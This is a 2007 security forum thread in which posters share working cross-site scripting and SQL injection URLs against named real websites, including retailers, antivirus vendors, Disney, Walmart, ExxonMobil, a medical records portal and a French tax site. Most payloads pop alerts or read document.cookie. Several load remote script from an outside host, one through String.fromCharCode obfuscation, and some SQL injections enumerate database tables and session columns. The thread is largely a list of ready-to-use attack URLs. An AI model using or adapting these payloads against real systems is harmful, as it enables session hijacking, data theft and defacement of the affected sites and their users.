Some more anti virus and security vendor XSS - pretty weird to replace = by / ;)

http://www.avira.com/en/threats/section/details/id_vir/%22%3E%3C/option%3E%3C/select%3E%3Cscript%3Ealert('XSSed%20by%20.mario')%3C=script%3E%3C!--

<edit>Yeah! 1st post on page 50 ;)</edit>



Edited 1 time(s). Last edit at 06/16/2007 07:07AM by .mario.

This time: uLinkx - some social video portal search engine mash-up thing.

http://www.ulinkx.com/tag/fu%22%3E%3Cimg%20src=xxx%20onerror=eval(String.fromCharCode(97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,58,47,47,104,52,107,46,105,110,47,105,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))%3E

sql: www.swiss-knife.com/asp/cart.asp?qty=1&lan=FR'))%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables));--&id=1.3603&shop=SK

xss: www.swiss-knife.com/asp/search.asp?lan=EN"><script>alert('please deface me');</script>

i'm sure there is more where that came from...

edited to add:

hxxps://www.hitting.com/checkout/checkout.asp?id=1&productcode=COMSER6'%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name='sessions'))--



Edited 1 time(s). Last edit at 06/18/2007 03:16PM by cougarhunter.

yay, it's secure!
https://secure9.mymedicalrecords.com/login.jsp?locale=%22%3Balert%28%27xss%27%29%3B//

EDIT: For those afraid of the "liberal bias" in youtubes shoddy input validation, now you can be xss'd in a safe conservative environment: http://www.qubetv.tv/members/interests/%3Cscript%3Ealert('xss');%3C/script%3E%3C! http://www.qubetv.tv/groups/memes <- persistant xss in interest tags/memes.

-tx @ lowtech-labs.org



Edited 3 time(s). Last edit at 06/18/2007 04:34PM by tx.

http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&origkw=%20&kw=%22%3E%3Cscript%3Ealert('xss');%3C/script%3E%3C!&kwCatId=
http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&origkw=%20&kw=%3Cscript%3Ealert('xss');%3C/script%3E%3C!&kwCatId=
http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&origkw=%20&kw=';alert('xss');//&kwCatId=

-tx @ lowtech-labs.org

French, do not trust your taxes websites:
http://www.whiteacid.org/misc/xss_post_forwarder.php?xss_target=http://www.impots.gouv.fr/portal/dgi/public;jsessionid=M4XNJRX0MWJO1QFIEMQSFFGAVARW4IV1?paf_dm=full&paf_gm=content&paf_gear_id=100006&sfid=04&action=resultSimple&pageId=sub_rch_simple_res_null&_requestid=1859432&av_motcle=%3Cscript%3Ealert%28%22trustworthy%3F%22%29%3C%2Fscript%3E

nEUrOO -- http://rgaucher.info -- http://twitter.com/rgaucher

Nice one nEUrOO!

http://server/isqlplus?action=logon&username=dummy%22%3e%3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript%3ealert('CSS')%3c/script%3e

http://server/isqlplus?action=<script>alert('CSS')</script>

http://hackathology.blogspot.com

http://ApplicationServer/isqlplus?action=logon&username=dummy%22%3e%3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript%3ealert('CSS')%3c/script%3e

http://ApplicationServer/isqlplus?action=<script>alert('CSS')</script>

This test had been performed on Oracle Application Server 9i

http://hackathology.blogspot.com

Here are some lyrics links:

http://www.lyricsrec.com/lyrics/a.php
http://www.lyricsrec.com/lyrics/b.php
http://www.lyricsrec.com/lyrics/j.php
http://www.lyricsrec.com/lyrics/l.php
http://www.lyricsrec.com/lyrics/n.php
http://www.lyricsrec.com/lyrics/o.php
http://www.lyricsrec.com/lyrics/m.php

http://www.lyricsrec.com/lyrics/h.php
http://www.lyricsrec.com/lyrics/k.php

mmmmh, lyrics - full disclosure of song texts?

@.mario

those are not under patent by Cenzic yet, so everyone can pentest them without having to pay royalties to Cenzic. ^^

@Ronald:

Then I can do things like this without getting sued? ;)

http://www.lyricsrec.com/go/contact2.php?nume=%22%3E%3Cscript%20src=http://h4k.in/i.js%3E%3C/script%3E&email=%22%3EYYY&mesaj=%22%3EZZZ

Yeah but watch out, they might patent that vector! :)

Hope they don't patent script tags - couldn't stand using event handlers only every day... *g*

http://www.hackaday.com/search/?q="><script>alert(document.cookie);</script><"
http://www.answers.com/main/ntquery?s="><script>alert(document.cookie);</script><"
http://www.packetnews.com/search.php?net="><script>alert(document.cookie);</script><"
http://www.annoyances.org/exec/htsearch?config=annoyances&words=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22&method=and&format=builtin-long&matchesperpage=10
http://www.lifehacker.com/search/?sourceid=Mozilla-search&q=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22
http://www.compusa.com/products/products.asp?sourceid=Mozilla-search&N=0&Ntt=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22&Ntk=All&Nty=1&D=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22



Edited 2 time(s). Last edit at 06/22/2007 12:46AM by epsteinbar.

Some Top 10 Fortune 500 Companies

http://framedart.walmart.com/search/results.asp?keywords=%3c%2fspan%3e%3cscript%3ealert(1);%3c%2fscript%3e&reset=y

http://framedart.walmart.com/search/results.asp?keywords='&reset=y <-- SQL Injection (Database Error Message)

https://portal.stage.exxonmobil.com/login/ForgotPassword.aspx?LANG=EN'</a></b style="xx:expr/**/ession(alert(1))">

http://www.gecareers.com/GECAREERS/GECControllerServlet?actionid=90001&checkFlag=&Theme=">%3cscript%3ealert(1)%3c/script%3eus&Job=594796&Business=&Function=62307&State=&Country=&Page=1&position_title=

http://www.qc.ford.com/english/default_flash.asp?language=">%3cscript%3ealert(1)%3c/script%3e

http://aigglobal.aig.com/Common/aiuCDA_Search_Results/1,2172,,00.html enter ';}<script>alert(1)</script> in the "Search aiu" textbox

@epsteinbar excellent ones! haha the irony...

http://community.zdnet.co.uk/search/?q=%22%3E%3Cbody%20oNload=%22alert('lol');%22%3E%3Cplaintext%3E
http://youtube.com/groups_create?&tags="><plaintext>

Must be logged in for the YouTube one to fire.

I have a few on a game site that has constant transactions with money. I've reported it to them and will post when they fix it.



Edited 3 time(s). Last edit at 06/23/2007 03:50PM by John.

Disney:

http://disneyshopping.go.com/webapp/wcs/stores/servlet/DSISearch?Dn=0&Dx=mode+matchallpartial&D=NULL&Ntt=<script>alert('xss');</script>&Nu=p_productID&N=0&Ntx=mode+matchallpartial&langId=-1&categoryId=11776&catalogId=10002&storeId=10051&Dr=&Nr=&Ntk=All_Shopping&searchOption=All_Shopping&Searchstr=

http://disneyshopping.go.com/webapp/wcs/stores/servlet/DSISearch?Dn=0&Dx=mode%2bmatchallpartial&D=NULL&Ntt=%22%3Cscript%3Ealert('xss');%3C/script%3E&Nu=p_productID&N=0&Ntx=mode%2bmatchallpartial&langId=-1&categoryId=11776&catalogId='10002&storeId=10051&Dr=&Nr=&Ntk=All_Shopping&searchOption=All_Shopping&Searchstr=

https://register.go.com/disneyshopping/EmailSignUp/registerForm?emailAddress=%22%3E%3Cscript%3Ealert('xss');%3C/script%3E%3C!&x=0&y=0

http://search.disney.go.com/exec/?q=%3Cscript%3Ealert('xss')%3C/script%3E&x=0&y=0

http://search.disney.go.com/exec/?q=;%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!&x=0&y=0 <- alerts like 30 times

-tx @ lowtech-labs.org

haven't seen an XSS on this TLDs yet

http://index.museum/land.php?country=AL&lang=u%22%3E%3Cscript%20src=//h4k.in/i.js%3E%3C/script%3E
http://search.travel/travelsearchNew/index.do?txtsearch=home&searchAll=%22%3E%3Cscript%20src=//h4k.in/i.js%3E%3C/script%3E
http://registrypro.pro/whois.php?search=%22%3E%3Cscript%20src=//h4k.in/i.js%3E%3C/script%3E
http://domini.cat/whois_process.php?lang=cat&mode=domain&sld=%22%3E%3Cscript%20src=//h4k.in/i.js%3E%3C/script%3E



Edited 4 time(s). Last edit at 06/23/2007 07:50PM by .mario.

http://mobile.aol.com/mobileaim/--%3E%3Cimg%20src=%22%22%20onerror=%22alert('XSS');%22%3E%3C!--


Awesome AnDrEw - That's The Sound Of Your Brain Crackin'
http://www.awesomeandrew.net/

http://www.ethicalhacker.net/content/section/7/24%22%3E%3Cimg%20src=tx%20onerror=alert(String.fromCharCode(88,83,83))%3E%3C! ;)

-tx @ lowtech-labs.org

tx Wrote:
-------------------------------------------------------
> http://www.ethicalhacker.net/content/section/7/24%
> 22%3E%3Cimg%20src=tx%20onerror=alert(String.fromCh
> arCode(88,83,83))%3E%3C! ;)

LOL, thats funny shit !!

http://www.hi5.com/friend/displayClassifieds.do?keywords=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&category=jobs&location=any (Multiple alerts)
http://www.hi5.com/friend/displayClassifieds.do?keywords=%5C%5C%5C&location=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&range=10&category=jobs (Multiple alerts)
http://www.hi5.com/friend/displayClassifieds.do;jsessionid=aXgF48Md19Qg?location="><script>alert(1)</script>

-------------------------------
http://fr3dc3rv.blogspot.com



Edited 1 time(s). Last edit at 06/24/2007 02:33PM by FR3DC3RV.

Wanna post some news?

http://preview.tinyurl.com/2qschl

http://www.toysrus.com/search/noResults.jsp?kw=1%22%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

EDIT:
Who wants a pizza?
http://www03.order.dominos.com/olo/faces/order/enterPromocode.jsp?promocode=&validationErrorMessage=%22%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E



Edited 1 time(s). Last edit at 06/25/2007 09:39PM by Mongo.

this is "awesome".. has anybody tried XSSing this site itself ? After reading this thread, I believe that "every" site out thse is "open" to XSS...

rohanpinto Wrote:
-------------------------------------------------------
> this is "awesome".. has anybody tried XSSing this
> site itself ? After reading this thread, I
> believe that "every" site out thse is "open" to
> XSS...
There have been a few holes, which are immediately patched, but rsnake asks that we don't "spam/hack the spammers/hackers".


Awesome AnDrEw - That's The Sound Of Your Brain Crackin'
http://www.awesomeandrew.net/

I'm being hit constantly, but I haven't got holes :)